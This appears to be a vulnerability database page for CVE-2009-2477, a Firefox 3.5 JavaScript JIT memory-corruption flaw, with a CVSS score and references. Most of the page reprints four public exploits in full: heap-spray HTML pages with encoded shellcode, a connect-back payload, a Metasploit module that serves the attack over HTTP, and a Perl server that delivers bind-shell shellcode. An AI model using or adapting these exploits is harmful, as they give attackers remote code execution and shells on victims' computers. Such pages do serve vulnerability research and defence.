CVE-2009-2477
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CVE Descriptions
js/src/jstracer.cpp in the Just-in-time (JIT) JavaScript compiler (aka TraceMonkey) in Mozilla Firefox 3.5 before 3.5.1 allows remote attackers to execute arbitrary code via certain use of the escape function that triggers access to uninitialized memory locations, as originally demonstrated by a document containing P and FONT elements.
CVE Informations
Related Weaknesses
| Weakness Name | Source | |
|---|---|---|
| Improper Control of Generation of Code ('Code Injection') The product constructs all or part of a code segment using externally-influenced input from an upstream component, but it does not neutralize or incorrectly neutralizes special elements that could modify the syntax or behavior of the intended code segment. |
Metrics
| Metrics | Score | Severity | CVSS Vector | Source |
|---|---|---|---|---|
| V2 | 9.3 | AV:N/AC:M/Au:N/C:C/I:C/A:C | [email protected] |
EPSS
EPSS is a scoring model that predicts the likelihood of a vulnerability being exploited.
EPSS Score
The EPSS model produces a probability score between 0 and 1 (0 and 100%). The higher the score, the greater the probability that a vulnerability will be exploited.
EPSS Percentile
The percentile is used to rank CVE according to their EPSS score. For example, a CVE in the 95th percentile according to its EPSS score is more likely to be exploited than 95% of other CVE. Thus, the percentile is used to compare the EPSS score of a CVE with that of other CVE.
Exploit information
Exploit Database EDB-ID : 40936
Publication date : 2016-12-17 23h00 +00:00
Author : Hacker Fantastic
EDB Verified : Yes
<!--
Download: https://github.com/HackerFantastic/Public/blob/master/exploits/jackrabbit.tgz
Mirror: https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/40936.tgz
-->
<html>
<head>
<div id="content">
<p>
<FONT>
</FONT>
</p>
<p>
<FONT>n0m3rcYn0M3rCyn0m3Rc</FONT></p>
<p>
<FONT>N0MeRCYn0m3rCyn0m3rCyn0m</FONT>
</p>
<p>
<FONT>n0MERCypDK </FONT>
</p>
</div>
<script language="JavaScript">
var xunescape = unescape;
oneblock = xunescape("%u0040%u1000");
stackpivot = xunescape("%u6885%u0805%u4141%u4141%u4141%u4141%u4141%u4141%u4141%u4141%u4141%u4141%u4141%u4141%u4141%u4141%u4141%u4141%u5a91%u0805%u4141%u4141");
nopsled = xunescape("%u8508%u0568%u8508%u0568%u8508%u0568%u8508%u0568%u8508%u0568%u8508%u0568%u8508%u0568%u8508%u0568%u8508%u0568%u8508%u0568%u8508%u0568%u8508%u0568%u8508%u0568%u8508%u0568%u8508%u0568%u8508%u0568%u8508%u0568%u8508%u0568%u8508%u0568%u8508%u0568%u8508%u0568%u8508%u0568%u8508%u0568%u8508%u0568%u8508%u0568%u8508%u0568%u8508%u0568%u8508%u0568%u8508%u0568%u8508%u0568%u8508%u0568%u8508%u0568%u8508%u0568%u8508%u0568%u8508%u0568%u8508%u0568%u8508%u0568%u8508%u0568%u8508%u0568%u8508%u0568%u8508%u0568%u8508%u0568%u8508%u0568%u8508%u0568%u8508%u0568%u8508%u0568%u8508%u0568%u8508%u0568%u8508%u0568%u8508%u0568%u8508%u0568%u8508%u0568%u8508%u0568%u8508%u0568%u8508%u0568%u8508%u0568%u8508%u0568%u8508%u0568%u8508%u0568%u8508%u0568%u8508%u0568%u8508%u0568%u8508%u0568%u8508%u0568%u8508%u0568%u8508%u0568%u8508%u0568%u8508%u0568%u8508%u0568%u8508%u0568%u8508%u0568%u8508%u0568%u8508%u0568%u8508%u0568%u8508%u0568%u8508%u0568%u8508%u0568%u8508%u0568%u8508%u0568%u8508%u0568%u8508%u0568%u8508%u0568%u8508%u0568%u8508%u0568%u8508%u0568%u8508%u0568%u8508%u0568%u8508%u0568%u8508%u0568%u8508%u0568%u8508%u0568%u8508%u0568%u8508%u0568%u8508%u0568%u8508%u0568%u8508%u0568%u8508%u0568%u8508%u0568%u8508%u0568%u8508%u0568%u8508%u0568%u8508%u0568%u8508%u0568%u8508%u0568%u8508%u0568%u8508%u0568%u8508%u0568%u8508%u0568%u8508%u0568%u8508%u0568%u8508%u0568%u8508%u0568%u8508%u0568%u8508%u0568%u8508%u0568%u8508%u0568%u8508%u0568%u8508%u0568%u8508%u0568%u8508%u0568%u8508%u0568%u8508%u0568%u8508%u0568%u8508%u0568%u8508%u0568%u8508%u0568%u8508%u0568%u8508%u0568%u8508%u0568%u8508%u0568%u8508%u0568%u8508%u0568%u8508%u0568%u8508%u0568%u8508%u0568%u8508%u0568%u8508%u0568%u8508%u0568%u8508%u0568%u8508%u0568%u8508%u0568%u8508%u0568%u8508%u0568%u8508%u0568%u8508%u0568%u8508%u0568%u8508%u0568%u8508%u0568%u8508%u0568%u8508%u0568%u8508%u0568%u8508%u0568%u8508%u0568%u8508%u0568%u8508%u0568%u8508%u0568%u8508%u0568%u8508%u0568%u8508%u0568%u8508%u0568%u8508%u0568%u8508%u0568%u8508%u0568%u8508%u0568%u8508%u0568%u8508%u0568%u8508%u0568%u8508%u0568%u8508%u0568%u8508%u0568%u8508%u0568%u8508%u0568%u8508%u0568%u8508%u0568%u8508%u0568%u8508%u0568%u8508%u0568%u8508%u0568%u8508%u0568%u8508%u0568%u8508%u0568%u8508%u0568%u8508%u0568%u8508%u0568%u8508%u0568%u8508%u0568%u8508%u0568%u8508%u0568%u8508%u0568%u8508%u0568%u8508%u0568%u8508%u0568%u8508%u0568%u8508%u0568%u8508%u0568%u8508%u0568%u8508%u0568%u8508%u0568%u8508%u0568%u8508%u0568%u8508%u0568%u8508%u0568%u8508%u0568%u8508%u0568%u8508%u0568%u8508%u0568%u8508%u0568%u8508%u0568%u8508%u0568%u8508%u0568%u8508%u0568%u8508%u0568%u8508%u0568%u8508%u0568%u8508%u0568%u8508%u0568%u8508%u0568%u8508%u0568%u8508%u0568%u8508%u0568%u8508%u0568%u8508%u0568%u8508%u0568%u8508%u0568%u8508%u0568%u8508%u0568%u8508%u0568%u8508%u0568%u8508%u0568%u8508%u0568%u8508%u0568%u8508%u0568%u8508%u0568%u8508%u0568%u8508%u0568%u8508%u0568%u8508%u0568%u8508%u0568%u8508%u0568%u8508%u0568%u8508%u0568%u8508%u0568%u8508%u0568%u8508%u0568%u8508%u0568%u8508%u0568%u8508%u0568%u8508%u0568%u8508%u0568%u8508%u0568%u8508%u0568%u8508%u0568%u8508%u0568%u8508%u0568%u8508%u0568%u8508%u0568%u8508%u0568%u8508%u0568%u8508%u0568%u8508%u0568%u8508%u0568%u8508%u0568%u8508%u0568%u8508%u0568%u8508%u0568%u8508%u0568%u8508%u0568%u8508%u0568%u8508%u0568%u8508%u0568%u8508%u0568%u8508%u0568%u8508%u0568%u8508%u0568%u8508%u0568%u8508%u0568%u8508%u0568%u8508%u0568%u8508%u0568%u8508%u0568%u8508%u0568%u8508%u0568%u8508%u0568%u8508%u0568%u8508%u0568%u8508%u0568%u8508%u0568%u8508%u0568%u8508%u0568%u8508%u0568%u8508%u0568");
ropgadget = xunescape("%udc08%u0490%ua408%u04bd%u0008%u0200%u0000%u0f00%u0700%u0000%u2200%u0000%u0000%u0000%u0000%u0000%uec00%u0491%u0008%u0200%u0000%u0200%uc100%u10e3%u0040%u0010%u0000%u0200%u9000")
<!-- connect back ("192.168.0.10,80") ffff = port, 01020304 = ipaddr "%udc08%u0490%ua408%u04bd%u0008%u0200%u0000%u0f00%u0700%u0000%u2200%u0000%u0000%u0000%u0000%u0000%uec00%u0491%u0008%u0200%u0000%u0200%uc100%u10e3%u0040%u0010%u0000%u0200%u9000%u9090%u9090%u9090%u9090%u9090%u3190%u53db%u5343%u026a%u666a%u8958%ucde1%u9380%ub059%ucd3f%u4980%uf979%u5a5b%u0168%u0302%u6604%uff68%u43ff%u5366%ue189%u66b0%u5150%u8953%u43e1%u80cd%u6852%u2f2f%u6873%u2f68%u6962%u896e%u52e3%u8953%ub0e1%ucd0b%u0080%u6568%u7061%u6120%u6464%u3a72%u2520%u3830%u0a78%u7200%u6e75%u696e%u676e%u6620%u6f72%u206d%u6568%u2061" -->
shellcode = xunescape("%u9090%u9090%u9090%u9090%u9090%u3190%u53db%u5343%u026a%u666a%u8958%ucde1%u9380%ub059%ucd3f%u4980%uf979%u5a5b%uc068%u00a8%u660a%u0068%u4350%u5366%ue189%u66b0%u5150%u8953%u43e1%u80cd%u6852%u2f2f%u6873%u2f68%u6962%u896e%u52e3%u8953%ub0e1%ucd0b%u0080%u6568%u7061%u6120%u6464%u3a72%u2520%u3830%u0a78%u7200%u6e75%u696e%u676e%u6620%u6f72%u206d%u6568%u2061");
var fullblock = oneblock;
while (fullblock.length < 393216)
{
fullblock += fullblock;
}
var sprayContainer = new Array();
var sprayready = false;
var sprayContainerIndex = 0;
function fill_function()
{
if(! sprayready) {
for (xi=0; xi<800/100; xi++, sprayContainerIndex++)
{
sprayContainer[sprayContainerIndex] = fullblock + stackpivot + oneblock + nopsled + nopsled + nopsled + nopsled + nopsled + nopsled + nopsled + nopsled + nopsled + nopsled + nopsled + nopsled + nopsled + nopsled + nopsled + nopsled + nopsled + nopsled + nopsled + nopsled + nopsled + nopsled + nopsled + nopsled + nopsled + nopsled + nopsled + nopsled + nopsled + nopsled + nopsled + nopsled + nopsled + nopsled + nopsled + nopsled + nopsled + nopsled + nopsled + nopsled + nopsled + nopsled + nopsled + nopsled + nopsled + nopsled + nopsled + nopsled + nopsled + nopsled + ropgadget + shellcode;
}
} else {
DataTranslator();
GenerateHTML();
}
if(sprayContainer.length >= 1000) {
sprayready = true;
}
}
var searchArray = new Array();
function escapeData(data)
{
var xi;
var xc;
var escData='';
for(xi=0; xi<data.length; xi++)
{
xc=data.charAt(xi);
if(xc=='&' || xc=='?' || xc=='=' || xc=='%' || xc==' ') xc = escape(xc);
escData+=xc;
}
return escData;
}
function DataTranslator()
{
searchArray = new Array();
searchArray[0] = new Array();
searchArray[0]["dac"] = "Kros";
var newElement = document.getElementById("content");
if (document.getElementsByTagName) {
var xi=0;
pTags = newElement.getElementsByTagName("p");
if (pTags.length > 0)
while (xi < pTags.length)
{
oTags = pTags[xi].getElementsByTagName("font");
searchArray[xi+1] = new Array();
if (oTags[0]) {
searchArray[xi+1]["dac"] = oTags[0].innerHTML;
}
xi++;
}
}
}
function GenerateHTML()
{
var xhtml = "";
for (xi=1;xi<searchArray.length;xi++)
{
xhtml += escapeData(searchArray[xi]["dac"]);
}
}
setInterval("fill_function()", .5);
</script>
</body>
</html>
Exploit Database EDB-ID : 16299
Publication date : 2010-09-19 22h00 +00:00
Author : Metasploit
EDB Verified : Yes
##
# $Id: firefox_escape_retval.rb 10394 2010-09-20 08:06:27Z jduck $
##
##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
##
require 'msf/core'
class Metasploit3 < Msf::Exploit::Remote
Rank = NormalRanking
#
# This module acts as an HTTP server
#
include Msf::Exploit::Remote::HttpServer::HTML
include Msf::Exploit::Remote::BrowserAutopwn
autopwn_info({
:ua_name => HttpClients::FF,
:ua_minver => "3.5",
:ua_maxver => "3.5",
:os_name => OperatingSystems::WINDOWS,
:javascript => true,
:rank => NormalRanking, # reliable memory corruption
:vuln_test => nil,
})
def initialize(info = {})
super(update_info(info,
'Name' => 'Firefox 3.5 escape() Return Value Memory Corruption',
'Description' => %q{
This module exploits a memory corruption vulnerability in the Mozilla
Firefox browser. This flaw occurs when a bug in the javascript interpreter
fails to preserve the return value of the escape() function and results in
uninitialized memory being used instead. This module has only been tested
on Windows, but should work on other platforms as well with the current
targets.
},
'License' => MSF_LICENSE,
'Author' =>
[
'Simon Berry-Byrne <x00050876[at]itnet.ie>', # Author / Publisher / Original exploit
'hdm', # Metasploit conversion
],
'Version' => '$Revision: 10394 $',
'References' =>
[
['CVE', '2009-2477'],
['OSVDB', '55846'],
['BID', '35660'],
['URL', 'https://bugzilla.mozilla.org/show_bug.cgi?id=503286']
],
'Payload' =>
{
'Space' => 1000 + (rand(256).to_i * 4),
'BadChars' => "\x00",
},
'Targets' =>
[
[ 'Firefox 3.5.0 on Windows XP SP0-SP3',
{
'Platform' => 'win',
'Arch' => ARCH_X86,
'Ret' => 0x0c0c0c0c,
'BlockLen' => 0x60000,
'Containers' => 800,
}
],
[ 'Firefox 3.5.0 on Mac OS X 10.5.7 (Intel)',
{
'Platform' => 'osx',
'Arch' => ARCH_X86,
'Ret' => 0x41414141,
'BlockLen' => 496,
'Containers' => 800000
}
]
],
'DefaultTarget' => 0,
'DisclosureDate' => 'Jul 14 2006'
))
end
def on_request_uri(cli, request)
# Re-generate the payload
return if ((p = regenerate_payload(cli)) == nil)
print_status("Sending #{self.name} to #{cli.peerhost}:#{cli.peerport}...")
send_response_html(cli, generate_html(p), { 'Content-Type' => 'text/html; charset=utf-8' })
handler(cli)
end
def generate_html(payload)
enc_code = Rex::Text.to_unescape(payload.encoded, Rex::Arch.endian(target.arch))
enc_nops = Rex::Text.to_unescape(make_nops(4), Rex::Arch.endian(target.arch))
enc_ret = Rex::Text.to_unescape(
Rex::Arch.endian(target.arch) == ENDIAN_LITTLE ? [target.ret].pack('V') : [target.ret].pack('N')
)
var_data_str1 = Rex::Text.rand_text_alpha(3)
var_data_str2 = Rex::Text.rand_text_alpha(4)
js = <<-EOF
var xunescape = unescape;
var shellcode = xunescape("#{enc_code}");
oneblock = xunescape("#{enc_ret}");
var fullblock = oneblock;
while (fullblock.length < #{target['BlockLen']})
{
fullblock += fullblock;
}
var sprayContainer = new Array();
var sprayready = false;
var sprayContainerIndex = 0;
function fill_function()
{
if(! sprayready) {
for (xi=0; xi<#{target['Containers']}/100; xi++, sprayContainerIndex++)
{
sprayContainer[sprayContainerIndex] = fullblock + shellcode;
}
} else {
DataTranslator();
GenerateHTML();
}
if(sprayContainer.length >= #{target['Containers']}) {
sprayready = true;
}
}
var searchArray = new Array();
function escapeData(data)
{
var xi;
var xc;
var escData='';
for(xi=0; xi<data.length; xi++)
{
xc=data.charAt(xi);
if(xc=='&' || xc=='?' || xc=='=' || xc=='%' || xc==' ') xc = escape(xc);
escData+=xc;
}
return escData;
}
function DataTranslator()
{
searchArray = new Array();
searchArray[0] = new Array();
searchArray[0]["#{var_data_str1}"] = "#{var_data_str2}";
var newElement = document.getElementById("content");
if (document.getElementsByTagName) {
var xi=0;
pTags = newElement.getElementsByTagName("p");
if (pTags.length > 0)
while (xi < pTags.length)
{
oTags = pTags[xi].getElementsByTagName("font");
searchArray[xi+1] = new Array();
if (oTags[0]) {
searchArray[xi+1]["#{var_data_str1}"] = oTags[0].innerHTML;
}
xi++;
}
}
}
function GenerateHTML()
{
var xhtml = "";
for (xi=1;xi<searchArray.length;xi++)
{
xhtml += escapeData(searchArray[xi]["#{var_data_str1}"]);
}
}
setInterval("fill_function()", .5);
EOF
# Obfuscate it up a bit
js = obfuscate_js(js, 'Symbols' => {
'Variables' => %W{ DataTranslator GenerateHTML escapeData xunescape shellcode oneblock fullblock sprayContainer xi searchArray xc escData xhtml pTags oTags newElement sprayready sprayContainerIndex fill_function }
}).to_s
str1 = Rex::Text.rand_text_alpha(20)
str2 = Rex::Text.rand_text_alpha(24)
str3 = Rex::Text.rand_text_alpha(10) + " "
return %Q^
<html>
<head>
<div id="content">
<p>
<FONT>
</FONT>
</p>
<p>
<FONT>#{str1}</FONT></p>
<p>
<FONT>#{str2}</FONT>
</p>
<p>
<FONT>#{str3}</FONT>
</p>
</div>
<script language="JavaScript">
#{js}
</script>
</body>
</html>
^
end
end
Exploit Database EDB-ID : 9214
Publication date : 2009-07-19 22h00 +00:00
Author : netsoul
EDB Verified : Yes
##################################################
# FireFox 3.5 Heap Spray
# Discovered by: Simon Berry-Bryne
# Coded in Perl by netsoul, ALTO PARANA - Paraguay
# Contact: netsoul2 [at] gmail [dot] com
##################################################
#!/usr/bin/perl -w
use strict;
use POE::Component::Server::HTTP;
POE::Component::Server::HTTP->new(Port => my $port = 8080,
ContentHandler => {"/" => sub{$_[1]->push_header("Content-Type", "text/html"), $_[1]->content(<DATA>)}});
print "[-] Listening in port $port...\n[-] Sending payload...\n[-] After 30 secs try with netcat for connect in port 5500\n";
POE::Kernel->run();
__DATA__
<html>
<head>
<title>Exploiting Firefox 3.5</title>
<script language= javascript>
//windows - shell_bind_tcp - metasploit - encoding is shikata_ga_nai
var shellcode= unescape("%u6afc%u4deb%uf9e8%uffff%u60ff%u6c8b%u2424%u458b%u8b3c%u057c%u0178%u8bef" +
"%u184f%u5f8b%u0120%u49eb%u348b%u018b%u31ee%u99c0%u84ac%u74c0%uc107%u0dca" +
"%uc201%uf4eb%u543b%u2824%ue575%u5f8b%u0124%u66eb%u0c8b%u8b4b%u1c5f%ueb01" +
"%u2c03%u898b%u246c%u611c%u31c3%u64db%u438b%u8b30%u0c40%u708b%uad1c%u408b" +
"%u5e08%u8e68%u0e4e%u50ec%ud6ff%u5366%u6866%u3233%u7768%u3273%u545f%ud0ff" +
"%ucb68%ufced%u503b%ud6ff%u895f%u66e5%ued81%u0208%u6a55%uff02%u68d0%u09d9" +
"%uadf5%uff57%u53d6%u5353%u5353%u5343%u5343%ud0ff%u6866%u7c15%u5366%ue189" +
"%u6895%u1aa4%uc770%uff57%u6ad6%u5110%uff55%u68d0%uada4%ue92e%uff57%u53d6" +
"%uff55%u68d0%u49e5%u4986%uff57%u50d6%u5454%uff55%u93d0%ue768%uc679%u5779" +
"%ud6ff%uff55%u66d0%u646a%u6866%u6d63%ue589%u506a%u2959%u89cc%u6ae7%u8944" +
"%u31e2%uf3c0%ufeaa%u2d42%u42fe%u932c%u7a8d%uab38%uabab%u7268%ub3fe%uff16" +
"%u4475%ud6ff%u575b%u5152%u5151%u016a%u5151%u5155%ud0ff%uad68%u05d9%u53ce" +
"%ud6ff%uff6a%u37ff%ud0ff%u578b%u83fc%u64c4%ud6ff%uff52%u68d0%uceef%u60e0" +
"%uff53%uffd6%u41d0");
oneblock = unescape("%u0c0c%u0c0c");
var fullblock = oneblock;
while (fullblock.length<0x60000)
{
fullblock += fullblock;
}
sprayContainer = new Array();
for (i=0; i<600; i++)
{
sprayContainer[i] = fullblock + shellcode;
}
var searchArray = new Array()
function escapeData(data)
{
var i;
var c;
var escData='';
for(i=0;i<data.length;i++)
{
c=data.charAt(i);$poe_kernel
if(c=='&' || c=='?' || c=='=' || c=='%' || c==' ') c = escape(c);
escData+=c;
}
return escData;
}
function DataTranslator(){
searchArray = new Array();
searchArray[0] = new Array();
searchArray[0]["str"] = "blah";
var newElement = document.getElementById("content")
if (document.getElementsByTagName) {
var i=0;
pTags = newElement.getElementsByTagName("p")
if (pTags.length > 0)
while (i<pTags.length)
{
oTags = pTags[i].getElementsByTagName("font")
searchArray[i+1] = new Array()
if (oTags[0])
{
searchArray[i+1]["str"] = oTags[0].innerHTML;
}
i++
}
}
}
function GenerateHTML()
{
var html = "";
for (i=1;i<searchArray.length;i++)
{
html += escapeData(searchArray[i]["str"])
}
}
DataTranslator();
GenerateHTML()
</script>
</body>
</html>
# milw0rm.com [2009-07-20]
Exploit Database EDB-ID : 9137
Publication date : 2009-07-12 22h00 +00:00
Author : Sberry
EDB Verified : Yes
<html>
<head>
<title>Firefox 3.5 Vulnerability</title>
Firefox 3.5 Heap Spray Vulnerabilty
</br>
Author: SBerry aka Simon Berry-Byrne
</br>
Thanks to HD Moore for the insight and Metasploit for the payload
<div id="content">
<p>
<FONT>
</FONT>
</p>
<p>
<FONT>Loremipsumdoloregkuw</FONT></p>
<p>
<FONT>Loremipsumdoloregkuwiert</FONT>
</p>
<p>
<FONT>Loremikdkw </FONT>
</p>
</div>
<script language=JavaScript>
/* Calc.exe */
var shellcode = unescape("%uE860%u0000%u0000%u815D%u06ED%u0000%u8A00%u1285%u0001%u0800" +
"%u75C0%uFE0F%u1285%u0001%uE800%u001A%u0000%uC009%u1074%u0A6A" +
"%u858D%u0114%u0000%uFF50%u0695%u0001%u6100%uC031%uC489%uC350" +
"%u8D60%u02BD%u0001%u3100%uB0C0%u6430%u008B%u408B%u8B0C%u1C40" +
"%u008B%u408B%uFC08%uC689%u3F83%u7400%uFF0F%u5637%u33E8%u0000" +
"%u0900%u74C0%uAB2B%uECEB%uC783%u8304%u003F%u1774%uF889%u5040" +
"%u95FF%u0102%u0000%uC009%u1274%uC689%uB60F%u0107%uEBC7%u31CD" +
"%u40C0%u4489%u1C24%uC361%uC031%uF6EB%u8B60%u2444%u0324%u3C40" +
"%u408D%u8D18%u6040%u388B%uFF09%u5274%u7C03%u2424%u4F8B%u8B18" +
"%u205F%u5C03%u2424%u49FC%u407C%u348B%u038B%u2474%u3124%u99C0" +
"%u08AC%u74C0%uC107%u07C2%uC201%uF4EB%u543B%u2824%uE175%u578B" +
"%u0324%u2454%u0F24%u04B7%uC14A%u02E0%u578B%u031C%u2454%u8B24" +
"%u1004%u4403%u2424%u4489%u1C24%uC261%u0008%uC031%uF4EB%uFFC9" +
"%u10DF%u9231%uE8BF%u0000%u0000%u0000%u0000%u9000%u6163%u636C" +
"%u652E%u6578%u9000");
/* Heap Spray Code */
oneblock = unescape("%u0c0c%u0c0c");
var fullblock = oneblock;
while (fullblock.length<0x60000)
{
fullblock += fullblock;
}
sprayContainer = new Array();
for (i=0; i<600; i++)
{
sprayContainer[i] = fullblock + shellcode;
}
var searchArray = new Array()
function escapeData(data)
{
var i;
var c;
var escData='';
for(i=0;i<data.length;i++)
{
c=data.charAt(i);
if(c=='&' || c=='?' || c=='=' || c=='%' || c==' ') c = escape(c);
escData+=c;
}
return escData;
}
function DataTranslator(){
searchArray = new Array();
searchArray[0] = new Array();
searchArray[0]["str"] = "blah";
var newElement = document.getElementById("content")
if (document.getElementsByTagName) {
var i=0;
pTags = newElement.getElementsByTagName("p")
if (pTags.length > 0)
while (i<pTags.length)
{
oTags = pTags[i].getElementsByTagName("font")
searchArray[i+1] = new Array()
if (oTags[0])
{
searchArray[i+1]["str"] = oTags[0].innerHTML;
}
i++
}
}
}
function GenerateHTML()
{
var html = "";
for (i=1;i<searchArray.length;i++)
{
html += escapeData(searchArray[i]["str"])
}
}
DataTranslator();
GenerateHTML()
</script>
</body>
</html>
<html><body></body></html>
# milw0rm.com [2009-07-13]
Products Mentioned
Configuraton 0
Mozilla>>Firefox >> Version 3.5
- Mozilla>>Firefox >> Version 3.5 (Open CPE detail)
References
https://www.redhat.com/archives/fedora-package-announce/2009-July/msg00909.html
Tags : vendor-advisory, x_refsource_FEDORA
Tags : vendor-advisory, x_refsource_FEDORA
http://voices.washingtonpost.com/securityfix/2009/07/stopgap_fix_for_critical_firef.html
Tags : x_refsource_MISC
Tags : x_refsource_MISC
http://sunsolve.sun.com/search/document.do?assetkey=1-66-266148-1
Tags : vendor-advisory, x_refsource_SUNALERT
Tags : vendor-advisory, x_refsource_SUNALERT
http://blog.mozilla.com/security/2009/07/14/critical-javascript-vulnerability-in-firefox-35/
Tags : x_refsource_CONFIRM
Tags : x_refsource_CONFIRM
http://www.h-online.com/security/First-Zero-Day-Exploit-for-Firefox-3-5--/news/113761
Tags : x_refsource_MISC
Tags : x_refsource_MISC
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